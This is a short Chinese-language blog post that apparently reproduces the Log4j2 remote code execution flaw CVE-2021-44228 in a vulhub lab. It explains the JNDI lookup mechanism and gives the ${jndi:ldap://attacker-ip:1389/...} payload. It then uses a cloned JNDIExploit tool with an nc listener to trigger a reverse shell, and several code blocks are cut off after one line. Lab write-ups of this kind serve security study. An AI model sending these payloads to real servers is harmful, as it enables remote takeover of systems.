Log4j2 远程命令执行漏洞 CVE-2021-44228
影响范围
- Apache Log4j 2.0-beta9 - 2.14.1
漏洞类型
JNDI 注入
操作系统限制
无
配置要求
开启端口 8983 和 5005
漏洞利用
命令执行,反弹 shell
利用原理
Log4j 支持 JNDI 协议的 Lookup 功能,该功能运行开发者在日志中动态插入系统属性(语法格式为 ${prefix:name}),而通过 JNDI,Java 查询可以连接外部资源,攻击者在这里用到了 LDAP 目录服务。攻击者在 HTTP Header 或 URL 参数中发送构造的 payload:${jndi:ldap://攻击机 ip:1389/Exploit},后端处理这个请求时候会把这个 payload 信息写入日志,Log4j 解析 payload 时,靶机向攻击机请求 LDAP 资源,攻击机返回恶意代码,靶机执行恶意代码完成命令执行
漏洞复现
用现成的 vulhub 来拉取镜像
1 | #下载vulhub源代码 |

下载工具 JNDIExploit
1 | git clone https://github.com/black9/Log4shell_JNDIExploit.git |

使用工具
1 | java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 攻击机ip |

开启 nc 监听

输入攻击请求,成功则返回 200
1 | #url编码部分原文为${jndi:ldap://攻击机:1389/Basic/ReverseShell/攻击机/nc监听端口} |

JNDIExploit 窗口有回显

反弹 shell 成功连接

本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Johan的秘密小窝!
评论